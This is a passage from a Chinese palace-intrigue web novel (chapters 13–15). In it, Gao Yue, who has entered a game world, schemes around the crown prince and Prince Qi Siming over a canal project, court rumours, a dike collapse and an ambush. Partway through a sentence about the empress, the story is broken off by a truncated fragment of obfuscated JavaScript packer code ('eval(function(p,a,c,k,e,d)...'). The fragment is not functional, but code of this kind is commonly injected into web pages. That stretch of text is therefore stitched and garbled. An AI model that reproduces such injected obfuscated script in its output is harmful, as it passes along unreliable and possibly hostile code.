就在他准备发作之时,一个小厮神色慌张地从门外跑了进来,扑通一声跪倒在地,急声道:“殿下,不好了!运河堤坝那边的劳工……闹起来了!他们说已经好几个月没结到工钱,再不给钱,他们就要……就要罢工了!” 13. 棋局逆转杀机又现 齐思安的这场宴席散得极早。 那些比谁都精明的商贾一个个脸上挂着滴水不漏的笑容,嘴里说着最动听的奉承话,可一谈到为南北运河筹款的正事,便都成了滑不溜手的泥鳅。 他们也不直接拒绝,只推脱说如此大的资金量一时间难以周转,需要回去与家人商议。 齐思安端坐在主位上,面色愈发铁青。 殿下的这些人,无不是个个绫罗绸缎,腰缠万贯,可一张张堆笑的脸上却满是洗不掉的市侩气。 国之大计,社稷之本在他们的口中竟只是一桩需要商议的买卖。 他的心中涌起一股强烈的厌恶。 他乃是天潢贵胄,未来的储君,何曾想过,有朝一日竟要与这些满身铜臭的商贾同席,听他们用周转不灵这种可笑的借口来搪塞君父之忧。 让他放下尊严,去对这群锱铢必较的商人好言相劝,甚至许诺好处以换取他们所谓的慷慨? 他做不到。 这非是计策,而是赤裸裸的羞辱。 他宁可承担失败的后果,也绝不会向这些人屈服。 宴席草草结束,他的幕僚张先生在他身边低声说道:“殿下,这些商贾分明是墙头草,二殿下一定是给他们许诺了什么好处,这些商人便倒向了他那边。 为今之计,不如……不如暂且与二殿下合作?只要这运河项目的主导权还在您手里,日后还怕不能制衡他?” “合作?”齐思安冷笑出声,“本宫是太子,未来的君主,岂能与他为伍?他如今用这般手段去笼络这些商人,只能证明他们是一丘之貉,要本宫去向他低头,绝无可能!” 他是个何其高傲的人,在他眼中,齐思铭的手段不过是庶出,阴暗里的算计怎能比得过煌煌大道。 齐思安一连三日都没有去找齐思铭,更不可能去向那些商人服软。 他待在东宫,固执地等着,他觉得那些商人早晚会后悔,会想明白谁才是大胤朝未来的主人,然后主动上门来求他。 可惜,他等来的不是那些商人的悔悟,而是南北水运工程彻底停摆的消息。 没有资金注入,工期一拖再拖。 工地上那些等着工钱养家糊口的民夫们迟迟拿不到钱,一个个怨声载道,渐渐演变成了罢工,甚至还有的为了争抢最后一点口粮而聚众斗殴。 而这些消息,齐思铭自然是不会放过。 他派人将这些消息散播出去,没过几日便迅速传遍了京城的大街小巷。 一时间,关于太子“刚愎自用、不恤民情”的流言四起,甚至有孩童编了歌谣传唱,说太子心眼小,容不得人,是个斤斤计较的主。 太子的声誉口碑一落千丈。 这正是齐思铭想要的结果。 他早就料定,以齐思安的性格,是绝对不可能向那些“墙头草”低头的。 那日他对那些人的威逼利诱,从一开始就没指望那些人会对他死心塌地。 忠诚?对这群在利益场里打滚的人而言,是最不值钱的东西。 这些人天生逐利,永远会选择对自己最有利、风险最小的那一方。 他要的,从来都不是他们的心,而是他们的选择罢了。 他给了他们一个更诱人的诱饵,也笃定了齐思安那份可悲的骄傲,会让他连伸手争抢的姿态都懒得做出。 他布下一张网,猎物自己撞了上来,而那个高傲的猎人,却连猎物为何逃跑都看不明白。 太子想将此事瞒下来,可工期却瞒不住,民怨更是瞒不住。 翠儿将外面打探来的消息一五一十地禀报完,连那首孩童编的歌谣都学得有模有样。 歌谣…… 这手段,可比在朝堂上直接参太子一本要狠多了。 朝臣的弹劾是刀,民众的口碑是水。 刀能伤人,水却能覆舟。 高玥的脑海中,不由自主地浮现出了齐思铭那张永远带着三分笑意的脸。 谁能想到,那样一双清雅的眼眸背后,竟藏着如此精密的算计和对人性的精准洞察。 他甚至算准了太子这么做会引发民怨,再顺水推舟,将这股怨气化作利刃,彻底刺穿太子“仁德”的外衣。 高玥轻轻放下茶盏,看着空空的殿中陷入沉思。 齐思铭此人,当真是个操纵人心的高手。 翠儿往前凑了两步,小心翼翼地看了一眼旁边,这才继续说道,“娘娘,还有一事……” 她凑到高玥耳边,“奴婢还打听到,皇上为了这南北运河工程停摆的事,在御书房里发了好大好大的火。” 她似乎想形容那火气有多大,却找不到合适的词,最后只能急急地说:“听说……听说把他最心爱的那只天青釉茶杯都给砸了!” “听说当时里头‘哐当’一声脆响,吓得外面所有当值的人魂儿都飞了。那可是汝窑出的雨过天青色,贡品里都挑不出几件的宝贝!皇上平日里拿在手里,眼珠子似的宝贝着呢!就这么……” 翠儿做了个往下猛力一摔的手势,咂了咂舌,后怕地缩了缩脖子。 天青釉茶杯…… 她当然知道那只茶杯。 色如青天,温润如玉,是皇帝心爱之物,这砸的哪里是茶杯,分明是砸在太子脸上的耳光。 翠儿顿了顿,见自家娘娘没有半分不耐,反而听得认真,又往前半步,声音压得更低,几乎成了耳语,神秘兮兮地补充道: “不过太子殿下也是个硬骨头,听说皇上罚他跪在殿外一夜,连皇后娘娘派人去送吃的,都被皇上拦下了,说是不准任何人求情。” 高玥端起茶杯,轻轻吹了吹浮沫,眼帘微抬:“那皇上可有召见王爷?” 翠儿脸上立刻露出钦佩之色,连连点头:“娘娘您怎么知道的?没错!王爷一早就被传召进宫了,奴婢回来的时候,人还没从御书房出来呢。” 高玥闻言,悬着的心总算放下,唇角逸出一抹浅笑:“那这件事,总算是尘埃落定了。” 看来,是时候去祝贺一下齐思铭了。 她想起那个在万花楼里,用一枚玉佩就搅动风云的男人。 那天晚上,就连她都以为棋至中盘,胜负已分,可这盘棋,竟又被他硬生生地翻了回来。 高玥起身走到内室,轻轻打开一个上了锁的箱子。 箱内静静躺着一块完整的玉石,通体纯黑,在幽暗的光线下,隐隐透出一丝血样的暗红。 这是极为罕见的墨玉,还是带着血沁的极品。 “翠儿,找京城最好的玉匠,把这块玉石打磨成一支玉笛。” “娘娘!”翠儿看了一眼箱子中装的东西,心疼得直抽气,“这么顶级的玉石,打成笛子……也太可惜了!” 高玥将箱子合上,声音里带着雨过天晴的平静:“钱财,生不带来,死不带去。在它还有价值的时候,让它发挥出最大的价值,才是正理。” 她想起了那个清冷的院落里,齐思铭孑然一身的落寞神情。 “他收到以后,应该会高兴的吧。” 吩咐完翠儿,高玥又觉得仅仅送个礼不够,她决定亲自去向齐思铭道贺。 她换了一身素雅的宫装,算好了时辰,便往齐思铭住的方向走去。 远远地,便看到齐思铭一袭白色长袍,从御书房缓步走出。 他眉眼舒展,唇边还带着淡淡的笑意,显然心情极好。 高玥正准备上前,余光却瞥见一个鬼鬼祟祟的身影,正往东宫的方向溜去。 是苏泠。 高玥心念一动,停下脚步,转而悄悄跟了上去。 东宫门口的小厮见到高玥,刚要行礼出声,就被她一个“嘘”的手势制止了,他们立刻噤声,不敢再有动作。 只见苏泠熟门熟路地绕到太子寝殿的侧门,轻轻一推闪身进去。 高玥躲在廊柱后,心中了然:“看这熟悉的程度,怕是来了不止一次了。” 她悄无声息地靠近寝殿,躲在窗外,隐约能听到屋里传来压抑的啜泣声。 随后,苏泠那温柔的声音断断续续地传来。 “殿下……您又何必与皇上硬扛呢,顺着他的意不就好了……” “还痛吗?皇后娘娘也真是的,您膝盖都伤成这样了,怎么也不派个懂事的宫人来给您膝盖垫一垫……” 接着便是太子低沉的安慰声与苏泠的啜泣声交织在一起。 高玥静静地听着,心中五味杂陈,竟生出几分奇异的感慨。 这真是天大的讽刺。 在她之前所在的那个游戏中,苏泠是世界的中心,是所有光环的宠儿,是天命所归的女主角。 她只要微微一笑,蹙一蹙眉,无论是眼前的太子齐思安,还是其他的男主,都会将世间最好的东西悉数捧到她面前。 她何曾需要像现在这样,在一个失落的男人面前放低姿态,小心翼翼地给予安慰? 剥离了那层耀眼的主角光环,原来苏泠也不过是个会为情所困的普通女子。 “如果皇后知道自己的宝贝儿子跟一个宫女搞在了一起,她又会怎么想?” 高玥的脑海中浮现出了皇后那张愤怒的脸,摇了摇头,没有进去打扰他们,而是转身默默地离开了东宫。 刚走出东宫,高玥便撞上了一堵温热的“墙”。 她抬头,正对上齐思铭那双深不见底的眼。 他的寝殿与东宫并不顺路,没想到会在这里看到他。 但高玥没有问他为何在此,只是咧开嘴,努力挤出一个灿烂的笑容:“王爷,恭喜。” 齐思铭的目光在她脸上停留片刻,似乎在打量着什么,随后语气平淡:“不是真心想笑,就不要勉强自己笑出来。” “不是的,不是的,”高玥连忙摆手,“我是真心祝贺你的,只是……” 她终究还是没忍住,把刚刚在东宫看到的那一幕告诉了齐思铭。 “我觉得会不会有一种可能。”高玥看向齐思铭,内心生出了一个大胆的猜想,“其实太子根本就不想管南北运河这件事,这是你父皇想让他建功立业。” 却没想到齐思铭听完并不惊讶,只是缓缓说道:“这不难理解。万花楼的舞姬在台上光彩夺目,可你想过没,这个世界上,总会有偏爱做台下那个静静欣赏舞姬的看客。” 高玥没想到齐思铭会这么说,顿时一愣。 是啊,有人渴望成为万众瞩目的焦点,自然就有人甘愿隐于幕后。 太子或许根本没有争雄之心,他只是被身份推着走,做一个安逸的看客,才是他真正想要的。 齐思铭就那么站在她面前,一言不发,静静地看着面前的人,从微蹙的眉头,到因思索而轻轻抿起的唇,再到此刻豁然开朗的清亮 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“人生在世,总有些事身不由己。”高玥举起酒杯,看着杯中晃动的月影,轻声说,“我们总以为自己是执棋人,殊不知,或许我们都只是棋盘上的棋子,被一只看不见的手推着走。” 齐思铭没有说话,只是静静地听着。 高玥又饮下一杯,眼眸在月光下显得格外明亮:“我有一个朋友,她其实很想做天上最耀眼的太阳,光芒万丈,普照万物。可她好像生来就是一枚月亮,只能借着别人的光,才能在黑夜里发出一点点微弱的光亮。” 她顿了顿,将杯中酒一饮而尽。 齐思铭终于开口,声音在夜色中显得格外低沉:“那她后来呢?” “后来,”高玥的嘴角勾起一抹弧度,“后来她发现,就算改变不了故事的结局,她也可以选择用自己喜欢的方式,去走完这段路。至少,可以让自己不那么难受。” 齐思铭举杯邀月,一饮而尽,任凭酒液的辛辣在喉间蔓延。 ““我还记得有人曾对我说过,月之光华,亦可引动潮汐。”他放下酒杯,目光深邃。“日月经天,盈亏有时。白日虽明,亦有不见之时。” 他转过头,凝视着高玥,语气低沉而富有磁性:“光芒源于何处,并不重要。重要的是,能否在需要之时,驱散黑暗,指引方向。即使是借来的光,亦能照亮人心。” 两人碰杯,一饮而尽。 酒意上涌,氛围也变得有些微醺。 高玥借着醉意,撑着下巴看他,眼神迷离:“我想再听你吹一曲。” 齐思铭看着她,没有拒绝。 他拿起那支总是带在身边的玉笛,横于唇边。 笛声响起,不似万花楼那晚的剑拔弩张,也不似他独处时的孤高清冷,今夜的笛声,婉转悠扬,带着月下的朦胧,酒后的微醺,还有一丝不易察觉的缠绵与不舍。 笛声在静谧的庭院里流淌,穿过花木,拂过水面,最后悄悄潜入高玥的心底。 她听着那笛声,看着月下那个吹笛的男人,或许是她醉了,她好似觉得今夜齐思铭的侧脸在月光下柔和得不可思议。 一种陌生的情绪,在悄然破土而出。 第二日清晨,高玥在一阵鸟鸣声中醒来,发现自己安稳地睡在寝殿的床上。 翠儿端着水盆进来,看到她醒了,神神秘秘地凑过来,压低声音道:“娘娘,您昨晚……” “我昨晚怎么了?”高玥揉着有些发胀的额角。 “是二殿下把您抱回来的,”翠儿的眼睛眨了眨,满是兴奋,“快天亮的时候才走呢。” 高玥心中一动,脸上却不动声色,只淡淡地问:“是吗?我怎么一点印象都没有了。” 翠儿捂嘴偷笑:“奴婢昨晚想进去伺候,王爷还不让呢,说娘娘睡得沉,不让人打扰。” 高玥听着,心尖像是被羽毛轻轻扫过一般,她垂下眼帘,若无其事地梳着头发,漫不经心地说道,“许是怕我酒后失言,把他的秘密都给说了出去。他那个人,心思重得很。” “可奴婢瞧着不像呢。”翠儿一边为她拧干了热毛巾,一边小声嘀咕道,“王爷走的时候,还特意嘱咐奴婢,说娘娘您醉后会头疼,让小厨房一早就备下了醒酒汤呢。” “而且呀,王爷看您的眼神……啧啧,奴婢说不好,反正不是平日里那副冷冷的样子。” “就你话多。”高玥用毛巾敷着脸,脑中清醒了许多,脑子里也不自觉地浮现出了齐思铭那双冷冷的眼睛。 她轻哼了一声,“谁要跟那种活阎王暧昧不清。” 话音刚落,一个冰冷的机械音,毫无预兆地在她脑中响起。 【系统任务发布:河北即将在五日后发生决堤,请玩家利用好该剧情,完成任务。】 “玩家”、“剧情”、“完成任务”…… 这几个字眼,像一盆冰水,从头浇下。 高玥脸上的红晕瞬间褪去,人也清醒了大半。 是啊,她差点忘了,这只是一个游戏,而她只是一个玩家罢了。 时间过的久了,她差一点就真的把自己当成这个世界里的玥贵妃了。 更重要的是……河北决堤? 齐思铭去的地方,不就是河北吗! 14. 黄河决堤埋杀机 自接到那个前往河北的任务,高玥的心就悬了起来。 可是她被困在这四方宫墙之内,别说去河北,就连偶尔出宫都是提心吊胆,速去速回。 皇后本就对她不满,如果此时再被皇后抓住了把柄,那到时候想要完成任务将会更加的困难,更何况皇后的眼线无处不在,让她处处受限,动弹不得。 她的眼前,那块只有她能看得到的蓝色光屏正悬浮在半空中,上面红色的数字此时对于她而言,就像是一个催命的符咒,一秒一秒的跳动。 【任务倒计时:71:36:09】 09…… 08…… 07…… 河北……决堤…… 这几个字就像是两座大山,沉甸甸地压在她的心头。 烦躁,像一团野火在她心底越烧越旺,几乎快要将她吞噬。 高玥心头烦闷,在殿内来回踱步。 这日午后,她信步走到御花园想去散心,正巧看见柳妃和她的宫女苏泠在湖边的一棵垂柳下逗弄她那波斯猫。 那猫儿慵懒地翻着身,任由柳妃用一根狗尾巴草撩拨。 高玥出神地看着这一幕,一个计划的雏形在脑中悄然勾勒成型。 她调整了脸上的表情,恢复了惯有的妩媚,摇曳生姿地走了过去。 “柳妃真是好兴致,这猫儿可比宫里某些人有趣多了。”高玥的声音娇媚,带着若有似无的慵懒。 柳妃抚摸猫儿的手一顿,抬眼看到来的人,皮笑肉不笑地应道:“玥贵妃说笑了,这深宫寂寞,总得找些乐子打发时日。” 高玥随意找了个凳子坐下,状似无意地叹了口气:“说起来,还是齐王爷有魄力。这开凿南北水运可是利国利民的大工程,如今他在河北干得风生水起,听说那儿的百姓都对他赞不绝口。反观太子殿下……” 高玥顿了顿,继续说道,“虽在京中监国,可这天大的功劳,却眼睁睁地看着旁落了。” 她仔细观察着柳妃的神情变化,继续添柴加火:“长此以往,圣心难测。 要知道,父子君臣,最怕的就是功高盖主。可若这功劳都是别人的,那这储君之位,怕也坐得不那么安稳了。日后在朝堂之上,太子殿下怕不是要处处看齐王爷的脸色行事了。” 柳妃的脸色果然沉了下去,但她毕竟在宫中沉浮多年,嘴上还是不肯落下风:“玥贵妃慎言。这朝堂之事,岂是我等后宫妇人可以议论的?这话要是传到皇上耳朵里,一个后宫干政的罪名,你我都担待不起!” 高玥轻笑了一声,“姐姐怕什么?” 她一边说着,一边观察着柳妃的神情,“你我不过是闲聊家常,说的也都是满朝文武心知肚明的事情,怎么就成干政了?想必姐姐也知道,皇上常常会与我说起朝堂上的趣闻,难道我还要捂着耳朵不听不成?” 高玥这番话,听在柳妃耳朵里,明着是解释,暗地里却是在炫耀自己圣眷正浓,连朝堂之事皇上都愿说与她听。 柳妃的脸色更加难看了几分,“即便如此,也该谨言慎行!” “我说的有那句话是虚言?”高玥淡淡地说道,“齐王爷在河北治水,那是泼天的功劳。太子殿下在京城监国,明面上听着好听,可说白了,不就是守着家,看着外人在外头建功立业吗?” 高玥抬起头,声音小了一些,“你我身在后宫,太子殿下若是安稳,届时你我都高枕无忧……” “可我听说那齐王爷,可不似看上去那般温润,若是日后他……”高玥欲言又止。 “那咱们还有好日子过吗?” “你大胆!”柳妃猛地站起身,指着高玥骂道,“如此非议储君,诅咒东宫!你别以为得了几日圣宠,就能无法无天!” 高玥也跟着站了起来,向前凑了一步,“我无法无天?我只是替姐姐你着急罢了。不过,姐姐既然觉得我是在胡言乱语,可千万别去皇后娘娘那里告我一状啊。” 高玥说完,默不作声地又瞥了一眼柳妃身后的苏泠,那张温顺的小脸上,此刻果然写满了忧虑与思索。 柳妃的怒火,不过是意料之中,她真正的目的,是站在柳妃身后的苏泠。 柳妃虽身居妃位,心思却浅,三言两语便能让她顷刻间方寸大乱,但苏泠不同。 从前几次的接触中,高玥基本已经可以确定她对太子的情愫,她又怎么可能容忍旁人,尤其是齐思铭那个外人,夺走她心中完美无瑕的太子哥哥的功绩? 高玥心中微笑,鱼饵已经抛下,剩下的就等鱼儿自己上钩了。 果然,待高玥走后,苏泠便怯生生地凑到柳如烟身边,小声劝道:“娘娘,奴婢觉得……玥贵妃的话,虽有些危言耸听,却也不无道理。” 柳如烟烦躁地将狗尾巴草扔在地上:“她能懂什么朝堂大事。” “娘娘息怒,”苏泠连忙跪下。 “奴婢只是为您着想。您想想看,太子殿下是皇后嫡出,是未来的天子。但若是齐王爷此次真的立下不世之功,太子的地位必然受到动摇。太子若是不好,皇后娘娘心里能舒坦吗?皇后娘娘不舒坦,咱们……咱们的日子也不会好过。” 柳如烟冷笑一声,重新坐回石凳上,拿起丝帕慢条斯理地擦了擦手。 “你就是太多虑了。”她的语气淡淡的,仿佛在说一件无关紧要的事情,“那齐思铭,纵然有几分聪明,可那也毕竟是个阉人。没了那玩意,再怎么折腾,都成不了气候。” 话是这么说没错,可苏泠听着,却愈发的不安。 她抬起头,眼中闪着与她柔弱外表不符的清明:“可若是咱们能提醒皇后娘娘,助太子一臂之力,那日后太子登基,他感念您的好,皇后娘娘也会高看您一眼。到那时,您在这后宫之中,还不是要风得风,要雨得雨?” 、 这句话,倒是真的说到了柳妃的心里。 如今这种不上不下的境地最是尴尬,若是真的能攀上太子,何愁不能稳固这后宫之位? 柳妃沉默了许久,终于下定决心:“你说的对,走,咱们去凤仪宫瞧瞧。” …… 凤仪宫内,皇后斜倚在罗汉床上,那张素日里端庄威仪的脸上此刻阴云密布。 地上是一片碎裂的白玉瓷片,显然是刚刚被摔了个粉碎。 赵嬷嬷小心翼翼地低声道:“娘娘息怒,为那等腌臜货色气坏了凤体,可不值当。” “息怒?本宫如何息怒!”皇后声音冰冷。 “一个身子不全的都能在河北搅弄风雨!如今满朝文武都在夸他有经世之才,这让太子的脸面往哪儿搁?让本宫的脸面往哪儿搁!” 河北的捷报一封接着一封传回京城,每一封都像是一记响亮的耳光,狠狠抽在她的脸上。 齐思铭的声望越高,就越衬得她那监国的儿子平庸无能。 就在这时,一个小太监迈着碎步,悄无声息地进来,跪地禀报:“启禀皇后娘娘,柳妃娘娘在外求见。” 皇后紧锁的眉头皱得更深,眼中闪过一丝不耐:“柳妃?她来做什么?本宫现在可没心情看她那些争风吃醋的把戏。” “罢了,让她进来吧。本宫倒要看看,她能说出什么花儿来。” 柳妃一进殿,便行了个大礼:“臣妾给皇后娘娘请安。臣妾今日听闻了一些流言,心中实在不安,特来向娘娘禀报。” 她将高玥那番话添油加醋地学了一遍,末了还“情真意切”地补充道:“臣妾人微言轻,但事关太子殿下,不敢不报,臣妾实在是为太子殿下担忧啊!” “砰!”皇后将手中新换的茶盏再一次摔了个粉碎。“好个玥贵妃!好个齐思铭!一个在后宫搬弄是非,一个在朝堂上揽权夺功,真当本宫和太子是死的吗!” 赵嬷嬷连忙上前为她顺气:“娘娘息怒,为这等人生气,伤了凤体可不值当。” 皇后深吸一口气,眼神却更加狠厉:“本宫知道,思安就是性子太仁厚,才会被齐思铭那种人处处压制,可我们不能坐以待毙。” “还有那个玥贵妃。本宫原只是当她是个凭借脸蛋得宠的狐媚子,没想到,手竟然也敢伸到朝中来,在背后搬弄是非,还敢妄议太子,真是好大的胆子!” 赵嬷嬷见状,不慌不忙地从宫人手中又接过一杯参茶,递到皇后身边,“娘娘,您消消气,为了这等上不得台面的东西气坏了身子,岂不是遂了他们的意?老奴倒是有个法子,不知当讲不当讲。” 她看向赵嬷嬷,“你有什么法子?” 赵嬷嬷凑到皇后耳边,低声耳语了许久,她的脸色才由阴转晴,最后露出了满意的笑容。 不出三日,宫中便来了一位仙风道骨的道士。 此人自称云游四方,夜观天象,发现河北方向有祥瑞之气冲天,他掐指一算,那祥瑞正应在开凿水运之地,说是河床深处有千年金鲤现世,乃是龙脉化身,预示着大胤国运昌隆。 这道士说得有板有眼,还拿出了一幅模糊的画卷,上面隐约可见金色鳞光在浑浊的河水中闪现。 皇帝本就对南北水运之事极为上心,听闻有此等祥瑞,龙心大悦。 道士又说,此等祥瑞需有皇室血脉亲往祭拜,方能显其真容,固我国本。 皇帝当即便要亲自前往。 皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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皇后的脸上终于露出了一丝笑容,“本宫自然知道。只是此事需得做的干净利落,切不可留下任何把柄。” 赵嬷嬷立刻应声道,“娘娘放心,一切都已安排妥当,保证万无一失。只是……” 她犹豫了一下,还是说道,“太子殿下那边,是否需要知会一声?” 皇后摆了摆手,眼中闪过一丝复杂的情绪,“不必。” “思安宅心仁厚,这种腌臜事,何必去污了他的耳朵。” …… 于是,一支看似轻车简从,实则各怀鬼胎的队伍,便浩浩荡荡地向河北出发了。 途中阴雨绵绵,车马行进得极为缓慢,一行人便在半路的行宫歇脚。 入夜,高玥刚换下湿衣,房门便被轻轻敲响。 翠儿前去开门,只见门外站着一个身披蓑衣的陌生男子。 那人摘下斗笠,对着高玥躬身行礼。 “玥贵妃,王爷得知您前来,心中甚是挂念。但此地人多眼杂,王爷恐有不便,特派小的来接您。王爷说,有关于此次祥瑞的要事相商。” 齐思铭? 高玥琢磨着这句话的真假,但那人说得有理有据,语气恭敬。 齐思铭何其多疑谨慎,他绝不会用这种方式派人来接她。 但她面上不动声色,反而露出一丝喜色,仿佛真的以为是情郎派人来接。 “真的?王爷有心了。”她故作娇羞地对翠儿说,“快,为我更衣,可别让王爷等急了。” 她知道这是个陷阱,但此刻这正是她摆脱皇后眼线的好机会,她决定将计就计。 高玥跟着那人,骑马走上了一条泥泞的林间小路。 不知走了多久,高玥突然勒住马,对那几名“护卫”说道:“本宫有些内急,你们在此等候,不许跟过来。” 她贵妃的身份摆在那,那几人对视一眼,也不敢违逆,只得停在原地。 高玥提着裙摆,快步走进漆黑的树林深处,借着树木的掩护,辨明方向,准备悄悄溜走。 然而,她低估了对方的警觉。 她刚跑出没多远,身后便传来一声厉喝:“她要跑!抓住她!” 话音未落,旁边原本漆黑的草丛中,猛地冲出几个手持大刀的壮汉,衣着打扮与寻常土匪无异。 他们二话不说,举刀就向高玥砍来。 高玥头皮发麻,她拼尽全力,在林地里疯狂奔逃,冰冷的雨水和泥浆溅了她一身,但这是她唯一的机会,此刻她早已顾不上什么狼狈。 就在她体力耗尽,准备停下喘息的片刻,山林下方突然传来无数惊恐的呼救声。 “不好啦!决堤啦!大家快跑啊!” 决堤? 不是说要三日后吗?怎么提前了? 高玥的心脏猛地一沉。 就在她失神的瞬间,脚下的大地突然开始剧烈震动,耳边传来山石滚落的轰鸣。 她惊恐地回头,只见身后的山体,在暴雨的冲刷下,正以一种摧枯拉朽之势,轰然崩塌…… 15. 血夜生死劫 齐思铭收到行宫那边传来的消息时,正在府中与手下商议黄河决堤的抢救之事。 河北灾情比预想的严重,需要调配更多的粮草和人手,他正专注地在舆图上标记救灾要点,张才匆忙进来禀报:"王爷,有急信。" 当听到高玥偷偷跑出行宫但现在下落不明时,齐思铭握着奏折的手瞬间僵住,那张素来波澜不惊的脸上闪过一丝紧张,随即变得阴沉如暴风雨前的天空。 "什么时候的事?"他的声音压得极低。 "回王爷,已经有两个时辰了。"张才小心翼翼地回答。 “派人去找了吗?” 张才犹豫了一下,没有出声。这次陛下他们是微服私访,并未带太多的人手,所以才会紧急传信给齐思铭。 齐思铭猛地站起身,手中的茶盏重重落在案几上,在场的所有人都能感受到他身上散发出的寒意,此刻他们连大气都不敢出一声。 齐思铭闭了闭眼,随后冷声吩咐。 “原计划不变,王友,你立刻带三千人马,携带所有冲车木桩,必须在三日内加固西岸大堤,若有延误,提头来见!” “户部那边,”他头也不回地对另一名幕僚道,“传我的话,再调拨五十万石粮食,三日内必须起运。” 一连串的命令从他口中有条不紊地发出,清晰、果决,没有丝毫因私人情绪而带来的混乱。 众将领和幕僚领命,不敢有片刻耽搁,匆匆行礼后便疾步退出,整个书房瞬间空旷下来,只剩下齐思铭和张才。 “她往哪个方向去了?行宫的人都是死人吗!” “王爷息怒,”张才从未见过齐思铭如此眼中充满杀意的样子,连忙说道,“娘娘似乎是往东边的密林去了……陛下的人手不足,不敢声张,才……” “备马!”齐思铭声音沙哑,“点一队骁骑卫,我亲自去找她!” …… 而另一边,高玥正在山林中狼狈地奔逃。 刚才的山体滑坡来得太突然,她的宫服早已被荆棘划破,脸上也被树枝擦伤,但她不敢停下脚步。 不知跑了多久,高玥气喘吁吁地靠在一棵大树上。 就在她以为安全时,一个阴森的笑声从身后响起。 "找了你半天,没想到你竟然自己送上门来了。" 高玥猛地回头,看到一个满脸横肉的大汉正恶狠狠地盯着她。 这是刚才那伙劫匪中的一个,看样子是在山体滑坡中与同伙走散了。 "别过来!"高玥慌忙后退。 大汉狞笑着拔出腰间的弯刀:"小美人,模样长得倒是俊俏,只可惜你得罪了不该得罪的人。" 刀锋在夕阳下闪着寒光,大汉一步步逼近。 高玥的心跳的飞快,大脑在一瞬间变得空白,又在下一秒被无限放大的恐惧填满。 这不是游戏里可以读档重来的剧情,那把弯刀是真实的,刀锋上还依稀可见未干的血迹,散发着一股铁锈与血腥混合的恶臭。 “得罪了不该得罪的人……” 皇后?太子?还是哪个在暗中窥伺的势力? 无数张脸在她脑海中飞速闪过,却又抓不住一个确切的答案。 但现在想这些已经没有意义了。 她的视线疯狂地扫视着周围,每一根垂下的藤蔓,每一块凸起的石头,都可能成为救命的稻草,或是……最后的武器。 她的手不自觉地摸向怀中,那里有一支精致的玉笛。 那是她特意准备送给齐思铭的礼物。 "去死吧!"大汉挥刀向高玥的脖子砍来。 就在这千钧一发的瞬间,高玥闭上眼睛,从怀中掏出玉笛,用尽全身力气往大汉的脖子上扎去。 这支玉笛是她寻遍能工巧匠,为齐思铭量身定做的贺礼。 其精巧之处,远胜他之前所持的那支,她本想当面送给他一个惊喜,却未曾想,这支玉笛竟在如此绝境下,成了自己唯一的生机。 只听“咔哒”一声,在巨大的冲击力下,那藏于笛身之中的玄机被瞬间触发。 一截薄如蝉翼、锋锐无匹的短剑自笛口猛然弹出,深深刺入了那个大汉的咽喉! 大汉脸上狰狞的笑容僵住了,取而代之的是极致的错愕与不可思议。 他低头,只能看到一截温润的玉管贴着自己的喉咙,鲜血从伤口汩汩流出,染红了高玥的手。 "扑通"一声,大汉重重倒在地上,再无声息。 高玥颤抖着看着手中的玉笛,温热的血液顺着她的手指一滴一滴地落在地上。 那支本该奏出美妙乐声的笛子,如今却成了夺命的凶器。 她想起制作这支笛子时的用心,想起准备送给齐思铭时的欢喜,心中涌起一阵巨大的悲伤。 "呕……"高玥再也控制不住,趴在一旁干呕起来。 她从未杀过人,哪怕在游戏世界中也是如此。 温热的眼泪不受控制地滑落,与脸上的尘土和血污混在一起,划出两道狼狈的痕迹。 “啊……”一声压抑到极致的呜咽从她喉间挤出,她感觉自己快要疯了。 不行,不能疯。 现在不是矫情的时候。 她狠狠地抬起手,用尽全身的力气,将指甲深深掐进自己的手臂。 尖锐的刺痛传来,那是一种真实到极致的痛感,她必须冷静下来,必须!这里是危机四伏的荒山,不是可以让她放声痛哭的地方。 高玥用袖子擦去嘴角的污秽。此刻的她只有一个念头。 活下去,一定要活下去,为了齐思铭,也为了她自己。 凭借着最后一丝信念,高玥踉踉跄跄地走向齐思铭的府邸。 她的脚步越来越沉重,眼前也开始发黑,当她终于走到府门前时,整个人都快要支撑不住了。 "咚咚咚"高玥用尽最后的力气敲响了门环。 守门的小厮听到声音,不耐烦地打开门:"谁啊,这么晚了......" 话还没说完,就被眼前的景象吓得说不出话来。 一个浑身是血的女子站在门前,衣衫褴褛,头发凌乱,脸上还有泥土和血痕。 如果不是那张脸依稀可辨,小厮几乎要以为是女鬼上门了。 "快……快去叫王爷……"高玥虚弱地说道。 小厮这才反应过来,连忙喊道:"来人啊!快去禀报王爷,玥贵妃娘娘回来了!" 齐思铭正在院中整装待发,听到消息如闪电般冲了出来。 那双向来深不见底的眸子,在看清月光下那个摇摇欲坠的身影时,骤然掀起了滔天巨浪。 是她。 她身上那件他熟悉的宫装已经破碎不堪,被暗红与泥土染得看不出原色。 尤其是她身上那大片大片的血迹,刺得齐思铭的眼睛生疼。 他没有再多说一个字,一个箭步冲上前,稳稳地将她接入怀中。 “封府!”齐思铭的声音低沉得可怕,像从地狱深处传来一般,“传太医!今夜之事,若有半个字传出去……” 他没有说完,但那双充斥着杀意的目光扫过在场的每一个人,所有人都瞬间明白了他未尽之言的含义。 看到齐思铭的那一刻,高玥一颗悬着的心终于放了下来。她勉强露出一个微笑:"还好找到你了……" 话音刚落,高玥便软软地晕了过去。 当高玥再次睁开眼时,发现自己躺在一间陌生的屋子里,屋内是熟悉的檀木香,装饰虽然不算奢华,但处处透着雅致。 她下意识地想坐起身,可这个简单的动作,此刻却难如登天。此刻她浑身上下仿佛每一寸肌肉都被人狠狠捶打过一样。 她不甘心地咬着牙,用尽全力,勉强用手肘撑起半个身子。 可还未等她看清周围的环境,手臂便是一软,整个人不受控制地向后倒去,重重砸回了床榻上。 这一下的惯性极大,她的身子一偏,竟顺着床沿滚了下去,“咚”的一声闷响,结结实实地摔在了坚硬的地板上。 门“砰”的一声打开。 齐思铭快步走进来,看到倒在地上的高玥,赶紧上前将她扶起。 "你这是做什么?身上的伤还没好,怎么能乱动?" 高玥靠在他怀里,感受着他身上熟悉的味道,心中涌起一阵暖流:"对不起,我……" "说句对不起就完了?"齐思铭将她轻柔地放回床上,语气中带着压抑的怒火,"你就不能跟他们一起来吗?非要一个人冒险,差点出事你知道吗?" 看着他那双盛满了担忧与怒火的眼睛,高玥的心头五味杂陈,愧疚与暖意交织在一起,让她一时间不知该说什么。 